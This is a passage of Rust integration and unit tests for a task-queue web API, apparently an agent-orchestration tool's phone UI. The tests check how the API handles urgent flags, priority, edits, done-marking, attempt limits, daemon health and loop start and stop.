13043 assert!(held_plain.json()["hold_reason"].is_null());
13044
13045 let released = f
13046 .post(&format!("/api/queue/{}/release", task.id), None)
13047 .await;
13048 assert_eq!(released.status, 200);
13049 assert!(
13050 released.json()["hold_reason"].is_null(),
13051 "a release must clear the reason so the next hold does not inherit it"
13052 );
13053 }
13054
13055 #[test]
13056 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
13057 for urgent in [true, false] {
13058 let body: UrgentBody =
13059 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
13060 assert_eq!(body.urgent, urgent);
13061 }
13062 for input in [
13063 r#"{}"#,
13064 r#"{"urgent":null}"#,
13065 r#"{"urgent":"true"}"#,
13066 r#"{"urgent":1}"#,
13067 r#"{"urgent":true,"extra":false}"#,
13068 ] {
13069 assert!(
13070 serde_json::from_str::<UrgentBody>(input).is_err(),
13071 "{input}"
13072 );
13073 }
13074 }
13075
13076 #[tokio::test]
13077 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
13078 let home = TempDir::new().unwrap();
13079 let q = Queue::at(home.path().join("queue"));
13080 let ui = Arc::new(Ui::new(
13081 q.clone(),
13082 Questions::at(home.path().join("questions")),
13083 Talks::at(home.path().join("talks")),
13084 home.path().join("runs"),
13085 home.path().into(),
13086 home.path().into(),
13087 ));
13088 let mut task = Task::new(
13089 "urgent handler".into(),
13090 "keep".into(),
13091 home.path().into(),
13092 Source::Human,
13093 );
13094 for status in [TaskStatus::Queued, TaskStatus::Held] {
13095 task.status = status;
13096 q.put(&mut task).unwrap();
13097 for urgent in [true, true, false, false] {
13098 let saved = queue_urgent(
13099 State(Arc::clone(&ui)),
13100 Path(task.short().into()),
13101 Ok(Json(UrgentBody { urgent })),
13102 )
13103 .await
13104 .unwrap();
13105 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
13106 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
13107 }
13108 }
13109 task.status = TaskStatus::Queued;
13110 q.put(&mut task).unwrap();
13111 let claim = q.claim(&task.id).unwrap();
13112 let error = queue_urgent(
13113 State(Arc::clone(&ui)),
13114 Path(task.id.clone()),
13115 Ok(Json(UrgentBody { urgent: true })),
13116 )
13117 .await
13118 .unwrap_err();
13119 assert_eq!(error.status, StatusCode::CONFLICT);
13120 assert!(error.message.contains("released"));
13121 drop(claim);
13122 for status in [
13123 TaskStatus::Running,
13124 TaskStatus::Done,
13125 TaskStatus::Failed,
13126 TaskStatus::Blocked,
13127 TaskStatus::Parked,
13128 ] {
13129 task.status = status;
13130 q.put(&mut task).unwrap();
13131 let error = queue_urgent(
13132 State(Arc::clone(&ui)),
13133 Path(task.id.clone()),
13134 Ok(Json(UrgentBody { urgent: false })),
13135 )
13136 .await
13137 .unwrap_err();
13138 assert_eq!(error.status, StatusCode::BAD_REQUEST);
13139 assert!(error.message.contains(status.as_str()));
13140 }
13141 }
13142
13143 #[tokio::test]
13144 async fn urgent_api_updates_preserves_and_validates_tasks() {
13145 let f = Fixture::start().await;
13146 let q = f.queue();
13147 let mut t = Task::new(
13148 "urgent API".into(),
13149 "unchanged".into(),
13150 PathBuf::from("/repo/magi"),
13151 Source::Human,
13152 );
13153 t.attempts = 2;
13154 t.priority = 9;
13155 t.interrupt = true;
13156 t.hold_reason = Some("waiting for approval".into());
13157 for status in [TaskStatus::Queued, TaskStatus::Held] {
13158 t.status = status;
13159 q.put(&mut t).unwrap();
13160 for urgent in [true, true, false, false] {
13161 let response = f
13162 .post(
13163 &format!("/api/queue/{}/urgent", t.short()),
13164 Some(&format!("{{\"urgent\":{urgent}}}")),
13165 )
13166 .await;
13167 assert_eq!(response.status, 200, "{}", response.body);
13168 assert_eq!(response.json()["urgent"], urgent);
13169 let saved = q.get(&t.id).unwrap();
13170 let mut before = serde_json::to_value(&t).unwrap();
13171 let mut after = serde_json::to_value(saved).unwrap();
13172 before["urgent"] = urgent.into();
13173 before.as_object_mut().unwrap().remove("updated_at");
13174 after.as_object_mut().unwrap().remove("updated_at");
13175 assert_eq!(after, before);
13176 }
13177 }
13178 let route = format!("/api/queue/{}/urgent", t.id);
13179 for body in [
13180 r#"{}"#,
13181 r#"{"urgent":null}"#,
13182 r#"{"urgent":"true"}"#,
13183 r#"{"urgent":1}"#,
13184 r#"{"urgent":true,"extra":false}"#,
13185 "{",
13186 ] {
13187 assert_eq!(f.post(&route, Some(body)).await.status, 400);
13188 }
13189 t.status = TaskStatus::Queued;
13190 q.put(&mut t).unwrap();
13191 let claim = q.claim(&t.id).unwrap();
13192 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
13193 assert_eq!(response.status, 409, "{}", response.body);
13194 assert!(!q.get(&t.id).unwrap().urgent);
13195 drop(claim);
13196 for status in [
13197 TaskStatus::Running,
13198 TaskStatus::Done,
13199 TaskStatus::Failed,
13200 TaskStatus::Blocked,
13201 TaskStatus::Parked,
13202 ] {
13203 t.status = status;
13204 q.put(&mut t).unwrap();
13205 for urgent in [true, false] {
13206 let response = f
13207 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
13208 .await;
13209 assert_eq!(response.status, 400, "{}", response.body);
13210 assert!(response.body.contains(status.as_str()));
13211 assert!(response.body.contains("queued or held"));
13212 assert!(!q.get(&t.id).unwrap().urgent);
13213 }
13214 }
13215 assert_eq!(
13216 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
13217 .await
13218 .status,
13219 404
13220 );
13221 }
13222
13223 #[tokio::test]
13224 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
13225 let f = Fixture::start().await;
13226 let queue = f.queue();
13227 let mut older = Task::new(
13228 "filed first".to_owned(),
13229 "x".to_owned(),
13230 PathBuf::from("/repo/magi"),
13231 Source::Human,
13232 );
13233 older.id = "20260101-000001-aaaa".to_owned();
13234 let mut newer = Task::new(
13235 "filed second".to_owned(),
13236 "x".to_owned(),
13237 PathBuf::from("/repo/magi"),
13238 Source::Human,
13239 );
13240 newer.id = "20260101-000002-bbbb".to_owned();
13241 queue.put(&mut older).expect("file older");
13242 queue.put(&mut newer).expect("file newer");
13243
13244 let before = f.get("/api/queue").await.json();
13247 assert_eq!(before[0]["id"], newer.id);
13248 assert_eq!(before[1]["id"], older.id);
13249
13250 let raised = f
13254 .post(
13255 &format!("/api/queue/{}/priority", older.id),
13256 Some(r#"{"priority":10}"#),
13257 )
13258 .await;
13259 assert_eq!(raised.status, 200, "{}", raised.body);
13260 assert_eq!(raised.json()["priority"], 10);
13261
13262 let after = f.get("/api/queue").await.json();
13263 let names: Vec<&str> = after
13264 .as_array()
13265 .unwrap()
13266 .iter()
13267 .map(|t| t["id"].as_str().unwrap())
13268 .collect();
13269 assert_eq!(names[0], older.id, "the raised task now sorts first");
13273 }
13274
13275 #[tokio::test]
13276 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
13277 let dir = TempDir::new().unwrap();
13278 let q = Queue::at(dir.path().join("queue"));
13279 let ui = Arc::new(Ui::new(
13280 q.clone(),
13281 Questions::at(dir.path().join("questions")),
13282 Talks::at(dir.path().join("talks")),
13283 dir.path().join("runs"),
13284 dir.path().to_path_buf(),
13285 dir.path().to_path_buf(),
13286 ));
13287 let mut t = Task::new(
13288 "budget".into(),
13289 "keep".into(),
13290 dir.path().into(),
13291 Source::Human,
13292 );
13293 t.attempts = 2;
13294 t.runs.push("prior-run".into());
13295 t.hold_manual(Some("waiting".into()));
13296 q.put(&mut t).unwrap();
13297 let change = |value| {
13298 queue_attempt_limit(
13299 State(ui.clone()),
13300 Path(t.id.clone()),
13301 Ok(Json(AttemptLimitBody {
13302 attempt_limit: value,
13303 })),
13304 )
13305 };
13306 for value in [
13307 serde_json::json!(3),
13308 serde_json::Value::Null,
13309 serde_json::json!(1),
13310 ] {
13311 let response = change(value.clone()).await.unwrap();
13312 assert_eq!(
13313 serde_json::to_value(response.0).unwrap()["attempt_limit"],
13314 value
13315 );
13316 let saved = q.get(&t.id).unwrap();
13317 assert_eq!(
13318 serde_json::to_value(&saved).unwrap()["attempt_limit"],
13319 value
13320 );
13321 assert_eq!(saved.status, TaskStatus::Held);
13322 assert_eq!(saved.attempts, t.attempts);
13323 assert_eq!(saved.runs, t.runs);
13324 assert_eq!(saved.hold_reason, t.hold_reason);
13325 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
13326 .await
13327 .unwrap()
13328 .0;
13329 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
13330 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
13331 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
13332 assert_eq!(outcome.max_attempts, detail.max_attempts);
13333 }
13334 for value in [
13335 serde_json::json!(0),
13336 serde_json::json!(-1),
13337 serde_json::json!(1.5),
13338 serde_json::json!("3"),
13339 serde_json::json!(true),
13340 ] {
13341 assert_eq!(
13342 change(value).await.err().unwrap().status,
13343 StatusCode::BAD_REQUEST
13344 );
13345 }
13346 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
13347 let claim = q.claim(&t.id).unwrap();
13348 assert_eq!(
13349 change(serde_json::json!(4)).await.err().unwrap().status,
13350 StatusCode::CONFLICT
13351 );
13352 drop(claim);
13353 for status in [
13354 TaskStatus::Running,
13355 TaskStatus::Done,
13356 TaskStatus::Failed,
13357 TaskStatus::Blocked,
13358 TaskStatus::Parked,
13359 ] {
13360 let mut stored = q.get(&t.id).unwrap();
13361 stored.status = status;
13362 q.put(&mut stored).unwrap();
13363 assert_eq!(
13364 change(serde_json::json!(4)).await.err().unwrap().status,
13365 StatusCode::BAD_REQUEST
13366 );
13367 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
13368 }
13369 let mut stored = q.get(&t.id).unwrap();
13370 stored.status = TaskStatus::Queued;
13371 q.put(&mut stored).unwrap();
13372 let _ = change(serde_json::Value::Null).await.unwrap();
13373 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
13374 }
13375
13376 #[tokio::test]
13377 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
13378 let dir = TempDir::new().unwrap();
13379 let repo = dir.path().join("repo");
13380 std::fs::create_dir(&repo).unwrap();
13381 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
13382 let q = Queue::at(dir.path().join("queue"));
13383 let ui = Arc::new(Ui::new(
13384 q.clone(),
13385 Questions::at(dir.path().join("questions")),
13386 Talks::at(dir.path().join("talks")),
13387 dir.path().join("runs"),
13388 dir.path().to_path_buf(),
13389 repo.clone(),
13390 ));
13391 let mut t = Task::new(
13392 "seats".into(),
13393 "keep instruction".into(),
13394 repo,
13395 Source::Human,
13396 );
13397 t.runs.push("prior-run".into());
13398 t.hold_manual(Some("waiting".into()));
13399 q.put(&mut t).unwrap();
13400 let change = |count| {
13401 queue_implementers(
13402 State(ui.clone()),
13403 Path(t.id.clone()),
13404 Ok(Json(ImplementersBody {
13405 implementers: count,
13406 })),
13407 )
13408 };
13409 for count in [2, 1, 2] {
13410 let response = change(count).await.unwrap();
13411 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
13412 let saved = q.get(&t.id).unwrap();
13413 assert_eq!(saved.implementers(), Some(usize::from(count)));
13414 assert_eq!(saved.runs, t.runs);
13415 assert_eq!(saved.instruction, t.instruction);
13416 }
13417 for count in [0, 4] {
13418 assert_eq!(
13419 change(count).await.err().unwrap().status,
13420 StatusCode::BAD_REQUEST
13421 );
13422 }
13423 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
13424 let claim = q.claim(&t.id).unwrap();
13425 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
13426 drop(claim);
13427 for status in [
13428 TaskStatus::Running,
13429 TaskStatus::Done,
13430 TaskStatus::Failed,
13431 TaskStatus::Blocked,
13432 TaskStatus::Parked,
13433 ] {
13434 let mut stored = q.get(&t.id).unwrap();
13435 stored.status = status;
13436 q.put(&mut stored).unwrap();
13437 assert_eq!(
13438 change(1).await.err().unwrap().status,
13439 StatusCode::BAD_REQUEST
13440 );
13441 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
13442 }
13443 }
13444
13445 #[tokio::test]
13446 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
13447 let f = Fixture::start().await;
13448 let queue = f.queue();
13449 let mut task = Task::new(
13450 "in flight".to_owned(),
13451 "x".to_owned(),
13452 PathBuf::from("/repo/magi"),
13453 Source::Human,
13454 );
13455 task.start("20260902-140502-bbbb".to_owned());
13456 queue.put(&mut task).expect("file the task");
13457
13458 let res = f
13459 .post(
13460 &format!("/api/queue/{}/priority", task.id),
13461 Some(r#"{"priority":9}"#),
13462 )
13463 .await;
13464 assert_eq!(res.status, 400, "{}", res.body);
13465 assert!(
13466 res.json()["error"]
13467 .as_str()
13468 .is_some_and(|e| e.contains("running")),
13469 "{}",
13470 res.body
13471 );
13472 assert_eq!(
13473 queue.get(&task.id).expect("reload").priority,
13474 0,
13475 "the refused write must not partially apply"
13476 );
13477 }
13478
13479 #[tokio::test]
13480 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
13481 let f = Fixture::start().await;
13482 let queue = f.queue();
13483 let mut task = Task::new(
13484 "old title".to_owned(),
13485 "old instruction".to_owned(),
13486 PathBuf::from("/repo/magi"),
13487 Source::Agent {
13488 run: "20260101-000000-beef".to_owned(),
13489 node: "implement".to_owned(),
13490 },
13491 );
13492 task.runs.push("20260101-000000-beef".to_owned());
13493 queue.put(&mut task).expect("file the task");
13494 let created_at = task.created_at;
13495
13496 let edited = f
13497 .post(
13498 &format!("/api/queue/{}/edit", task.id),
13499 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
13500 )
13501 .await;
13502 assert_eq!(edited.status, 200, "{}", edited.body);
13503 let body = edited.json();
13504 assert_eq!(body["title"], "new title");
13505 assert_eq!(body["instruction"], "new instruction");
13506 assert_eq!(body["id"], task.id, "editing must not mint a new id");
13507 assert_eq!(body["created_at"], created_at.to_string());
13508 assert_eq!(
13509 body["source"]["kind"], "agent",
13510 "editing a task an agent filed must not turn it human: {body}"
13511 );
13512 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
13513
13514 let reloaded = queue.get(&task.id).expect("reload");
13515 assert_eq!(reloaded.title, "new title");
13516 assert_eq!(reloaded.instruction, "new instruction");
13517 }
13518
13519 #[tokio::test]
13520 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
13521 let tmp = TempDir::new().expect("tempdir");
13524 let repo = tmp.path().join("repo");
13525 std::fs::create_dir_all(&repo).expect("repo dir");
13526 let judge = MOCK_AGENT_TOML.replace(
13527 "printf ok",
13528 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
13529 );
13530 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
13531 let f = Fixture::with_repo(repo.clone()).await;
13532 let queue = f.queue();
13533 let mut owner = Task::new(
13534 "owner".to_owned(),
13535 "review it".to_owned(),
13536 repo.clone(),
13537 Source::Human,
13538 );
13539 owner.review_branch = Some("magi/ab12/A".to_owned());
13540 queue.put(&mut owner).expect("file the owner");
13541 let mut task = Task::new(
13542 "draft".to_owned(),
13543 "old".to_owned(),
13544 repo.clone(),
13545 Source::Human,
13546 );
13547 queue.put(&mut task).expect("file the draft");
13548 let url = format!("/api/queue/{}/edit", task.id);
13549
13550 let refused = f
13551 .post(
13552 &url,
13553 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
13554 )
13555 .await;
13556 assert_eq!(refused.status, 409, "{}", refused.body);
13557 let msg = refused.json()["error"]
13558 .as_str()
13559 .unwrap_or_default()
13560 .to_owned();
13561 assert!(
13562 msg.contains("magi/ab12/A") && msg.contains("force"),
13563 "{msg}"
13564 );
13565 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
13566
13567 let forced = f
13568 .post(
13569 &url,
13570 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
13571 )
13572 .await;
13573 assert_eq!(forced.status, 200, "{}", forced.body);
13574 }
13575
13576 #[tokio::test]
13577 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
13578 let f = Fixture::start().await;
13579 let queue = f.queue();
13580 let mut task = Task::new(
13581 "in flight".to_owned(),
13582 "do not touch".to_owned(),
13583 PathBuf::from("/repo/magi"),
13584 Source::Human,
13585 );
13586 task.start("20260902-140502-bbbb".to_owned());
13587 queue.put(&mut task).expect("file the task");
13588
13589 let res = f
13590 .post(
13591 &format!("/api/queue/{}/edit", task.id),
13592 Some(r#"{"title":"x","instruction":"y"}"#),
13593 )
13594 .await;
13595 assert_eq!(res.status, 400, "{}", res.body);
13596 assert!(
13597 res.json()["error"]
13598 .as_str()
13599 .is_some_and(|e| e.contains("running")),
13600 "{}",
13601 res.body
13602 );
13603 assert_eq!(
13604 queue.get(&task.id).expect("reload").instruction,
13605 "do not touch",
13606 "the refused edit must not change the file"
13607 );
13608 }
13609
13610 #[tokio::test]
13611 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
13612 let f = Fixture::start().await;
13613 let queue = f.queue();
13614 let mut task = Task::new(
13615 "busy".to_owned(),
13616 "Running right now".to_owned(),
13617 PathBuf::from("/repo/magi"),
13618 Source::Human,
13619 );
13620 queue.put(&mut task).expect("file the task");
13621 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
13622
13623 let priority = f
13624 .post(
13625 &format!("/api/queue/{}/priority", task.id),
13626 Some(r#"{"priority":9}"#),
13627 )
13628 .await;
13629 assert_eq!(priority.status, 409, "{}", priority.body);
13630
13631 let edit = f
13632 .post(
13633 &format!("/api/queue/{}/edit", task.id),
13634 Some(r#"{"title":"x","instruction":"y"}"#),
13635 )
13636 .await;
13637 assert_eq!(edit.status, 409, "{}", edit.body);
13638 }
13639
13640 #[tokio::test]
13641 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
13642 let f = Fixture::start().await;
13643 let queue = f.queue();
13644 let mut task = Task::new(
13645 "shipped by hand".to_owned(),
13646 "merged outside the loop".to_owned(),
13647 PathBuf::from("/repo/magi"),
13648 Source::Agent {
13649 run: "20260101-000000-b455".to_owned(),
13650 node: "implement".to_owned(),
13651 },
13652 );
13653 task.runs.push("20260101-000000-b455".to_owned());
13654 task.runs.push("20260101-000000-9af4".to_owned());
13655 queue.put(&mut task).expect("file the task");
13656 let created_at = task.created_at;
13657
13658 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13659 assert_eq!(done.status, 200, "{}", done.body);
13660 assert_eq!(done.json()["status_str"], "done");
13661
13662 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
13663 assert_eq!(
13664 reloaded.runs,
13665 ["20260101-000000-b455", "20260101-000000-9af4"]
13666 );
13667 assert_eq!(
13668 reloaded.source,
13669 Source::Agent {
13670 run: "20260101-000000-b455".to_owned(),
13671 node: "implement".to_owned(),
13672 }
13673 );
13674 assert_eq!(reloaded.created_at, created_at);
13675 }
13676
13677 #[tokio::test]
13678 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
13679 let f = Fixture::start().await;
13684 let queue = f.queue();
13685 let mut task = Task::new(
13686 "landed while held".to_owned(),
13687 "x".to_owned(),
13688 PathBuf::from("/repo/magi"),
13689 Source::Human,
13690 );
13691 task.hold_manual(Some("waiting on 3ed9".to_owned()));
13692 queue.put(&mut task).expect("file the held task");
13693
13694 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13695 assert_eq!(done.status, 200, "{}", done.body);
13696 assert_eq!(done.json()["status_str"], "done");
13697 assert!(
13698 done.json()["hold_reason"].is_null(),
13699 "a done task cannot still be waiting on something: {}",
13700 done.body
13701 );
13702 }
13703
13704 #[tokio::test]
13705 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
13706 let f = Fixture::start().await;
13711 let queue = f.queue();
13712 let runs = f.runs();
13713 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
13714 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
13718
13719 let mut task = Task::new(
13720 "landed by hand".to_owned(),
13721 "x".to_owned(),
13722 PathBuf::from("/repo/magi"),
13723 Source::Human,
13724 );
13725 task.runs.push("20260101-000000-doa1".to_owned());
13726 task.runs.push("20260101-000000-doa2".to_owned());
13727 queue.put(&mut task).expect("file the task");
13728
13729 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13730 assert_eq!(done.status, 200, "{}", done.body);
13731
13732 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
13733 .expect("run still on disk under this fixture's own home");
13734 assert_eq!(
13735 reloaded_run.status,
13736 RunStatus::Superseded,
13737 "closing the task by hand must relabel the earlier blocked attempt exactly \
13738 like the loop's own settle path does"
13739 );
13740 }
13741
13742 #[tokio::test]
13743 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
13744 let f = Fixture::start().await;
13749 let queue = f.queue();
13750 let runs = f.runs();
13751 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
13752 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
13753
13754 let mut task = Task::new(
13755 "closed with nothing actually landed".to_owned(),
13756 "x".to_owned(),
13757 PathBuf::from("/repo/magi"),
13758 Source::Human,
13759 );
13760 task.runs.push("20260101-000000-dob1".to_owned());
13761 task.runs.push("20260101-000000-dob2".to_owned());
13762 queue.put(&mut task).expect("file the task");
13763
13764 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
13765 assert_eq!(done.status, 200, "{}", done.body);
13766
13767 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
13768 .expect("run still on disk under this fixture's own home");
13769 assert_eq!(
13770 reloaded_run.status,
13771 RunStatus::Blocked,
13772 "the last recorded attempt never landed, so the earlier one must not be \
13773 relabelled as superseded by it"
13774 );
13775 }
13776
13777 #[tokio::test]
13778 async fn unknown_ids_are_json_not_found_on_both_stores() {
13779 let f = Fixture::start().await;
13780
13781 let run = f.get("/api/runs/nosuchrun").await;
13782 let task = f.post("/api/queue/nosuchtask/hold", None).await;
13783
13784 assert_eq!(run.status, 404);
13785 assert_eq!(task.status, 404);
13786 assert!(
13787 run.json()["error"]
13788 .as_str()
13789 .is_some_and(|e| e.contains("run")),
13790 "the error names what was not found: {}",
13791 run.body
13792 );
13793 assert!(
13794 task.json()["error"]
13795 .as_str()
13796 .is_some_and(|e| e.contains("task")),
13797 "the error names what was not found: {}",
13798 task.body
13799 );
13800 }
13801
13802 #[tokio::test]
13803 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
13804 let f = Fixture::start().await;
13805
13806 let missing = f.get("/api/health").await.json();
13807 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
13808
13809 write_daemon(
13810 f.home.path(),
13811 Timestamp::now() - jiff::SignedDuration::from_secs(60),
13812 );
13813 let stale = f.get("/api/health").await.json();
13814 assert_eq!(
13815 stale["daemon"]["running"], false,
13816 "a minute without a heartbeat is a dead daemon, not a busy one"
13817 );
13818 assert!(
13819 stale["daemon"]["stale_for_secs"]
13820 .as_i64()
13821 .is_some_and(|s| s >= 55),
13822 "staleness is reported so the UI can say how long: {stale}"
13823 );
13824
13825 write_daemon(f.home.path(), Timestamp::now());
13826 let fresh = f.get("/api/health").await.json();
13827 assert_eq!(fresh["daemon"]["running"], true);
13828 assert_eq!(fresh["daemon"]["idle"], false);
13829 assert_eq!(fresh["daemon"]["pid"], 4242);
13830 assert_eq!(fresh["daemon"]["completed"], 7);
13831 assert_eq!(
13832 fresh["daemon"]["current"][0]["task"],
13833 "20260902-140501-aaaa"
13834 );
13835 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
13836 }
13837
13838 #[tokio::test]
13839 async fn the_loop_is_not_running_until_something_starts_it() {
13840 let f = Fixture::start().await;
13841
13842 let view = f.get("/api/loop").await.json();
13843 assert_eq!(view["running"], false);
13844 assert_eq!(
13845 view["owned"], false,
13846 "nobody owns a loop that does not exist: {view}"
13847 );
13848 assert_eq!(view["stopping"], false);
13849 assert_eq!(view["last_error"], Value::Null);
13850 assert_eq!(view["daemon"]["running"], false);
13851 assert_eq!(
13852 view["repo"], "/repo/magi",
13853 "the repository a start would use, named before it is started"
13854 );
13855 }
13856
13857 #[tokio::test]
13858 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
13859 let f = Fixture::start().await;
13860
13861 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13862 assert_eq!(res.status, 200, "{}", res.body);
13863 let view = res.json();
13864 assert_eq!(view["running"], true);
13865 assert_eq!(
13866 view["owned"], true,
13867 "the loop the UI started is the UI's own to stop: {view}"
13868 );
13869 assert_eq!(
13870 view["merge"],
13871 Value::Null,
13872 "no override was given, so each repository's own config decides"
13873 );
13874
13875 let health = f.get("/api/health").await.json();
13879 assert_eq!(health["loop"]["running"], true, "{health}");
13880 assert_eq!(health["loop"]["owned"], true, "{health}");
13881
13882 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13883 }
13884
13885 #[tokio::test]
13886 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
13887 let f = Fixture::start().await;
13888 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13889 assert_eq!(first.status, 200, "{}", first.body);
13890
13891 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13892 assert_eq!(
13893 again.status, 409,
13894 "two loops on one queue race for the same claims: {}",
13895 again.body
13896 );
13897 assert!(
13898 again.json()["error"]
13899 .as_str()
13900 .is_some_and(|e| e.contains("already running the loop")),
13901 "the refusal has to say why: {}",
13902 again.body
13903 );
13904 assert_eq!(
13905 f.get("/api/loop").await.json()["running"],
13906 true,
13907 "and the loop that was already running is untouched by it"
13908 );
13909
13910 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13911 }
13912
13913 #[tokio::test]
13914 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
13915 let f = Fixture::start().await;
13916 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13917
13918 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13919 assert_eq!(
13920 res.status, 200,
13921 "the answer must not wait for the loop: a run in flight is tens of \
13922 minutes and the operator is holding a phone: {}",
13923 res.body
13924 );
13925
13926 let view = settled(&f, |v| v["running"] == false).await;
13927 assert_eq!(view["owned"], false);
13928 assert_eq!(
13929 view["stopping"], false,
13930 "a loop that has stopped is not still stopping: {view}"
13931 );
13932 assert_eq!(
13933 view["last_error"],
13934 Value::Null,
13935 "a loop that was asked to stop did not fail: {view}"
13936 );
13937
13938 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
13941 assert_eq!(twice.status, 200, "{}", twice.body);
13942 }
13943
13944 #[tokio::test]
13945 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
13946 let f = Fixture::start().await;
13947 write_daemon(f.home.path(), Timestamp::now());
13950
13951 let view = f.get("/api/loop").await.json();
13952 assert_eq!(view["running"], false, "not in this process: {view}");
13953 assert_eq!(view["owned"], false, "and not this process's to control");
13954 assert_eq!(
13955 view["daemon"]["running"], true,
13956 "but a loop is alive somewhere, which is what the UI must say"
13957 );
13958 assert_eq!(view["daemon"]["pid"], 4242);
13959
13960 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
13961 let res = f.post("/api/loop", Some(body)).await;
13962 assert_eq!(
13963 res.status, 409,
13964 "neither button may pretend to work on someone else's loop: {}",
13965 res.body
13966 );
13967 assert!(
13968 res.json()["error"]
13969 .as_str()
13970 .is_some_and(|e| e.contains("4242")),
13971 "the refusal has to name the process the operator must go to: {}",
13972 res.body
13973 );
13974 }
13975 assert_eq!(
13976 f.get("/api/loop").await.json()["running"],
13977 false,
13978 "and the refusal started nothing"
13979 );
13980 }
13981
13982 #[tokio::test]
13983 async fn a_stale_status_file_is_not_a_foreign_owner() {
13984 let f = Fixture::start().await;
13985 write_daemon(
13986 f.home.path(),
13987 Timestamp::now() - jiff::SignedDuration::from_secs(60),
13988 );
13989
13990 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
13991 assert_eq!(
13992 res.status, 200,
13993 "a daemon killed a minute ago must not lock the loop out of its \
13994 own home for good: {}",
13995 res.body
13996 );
13997 assert_eq!(res.json()["running"], true);
13998
13999 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14000 }
14001
14002 #[tokio::test]
14003 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
14004 let f = Fixture::start().await;
14005 let before = f.get("/api/health").await.json()["loop_rev"]
14006 .as_u64()
14007 .expect("a loop revision");
14008
14009 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14010
14011 let after = f.get("/api/health").await.json()["loop_rev"]
14012 .as_u64()
14013 .expect("a loop revision");
14014 assert!(
14015 after > before,
14016 "the loop is in-process state, so this counter is the only thing \
14017 that tells a second device the first one started it: {before} -> \
14018 {after}"
14019 );
14020
14021 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
14022 }
14023
14024 #[tokio::test]
14025 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
14026 let f = Fixture::with_loop(launch_broken).await;
14027
14028 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
14029 assert_eq!(
14030 res.status, 200,
14031 "starting it is not the failure: {}",
14032 res.body
14033 );
14034
14035 let view = settled(&f, |v| v["last_error"].is_string()).await;
14036 assert_eq!(
14037 view["running"], false,
14038 "a loop that died must not read as running, or the operator has \
14039 nothing to press: {view}"
14040 );
14041 assert_eq!(view["owned"], false);
14042 assert!(
14043 view["last_error"]
14044 .as_str()
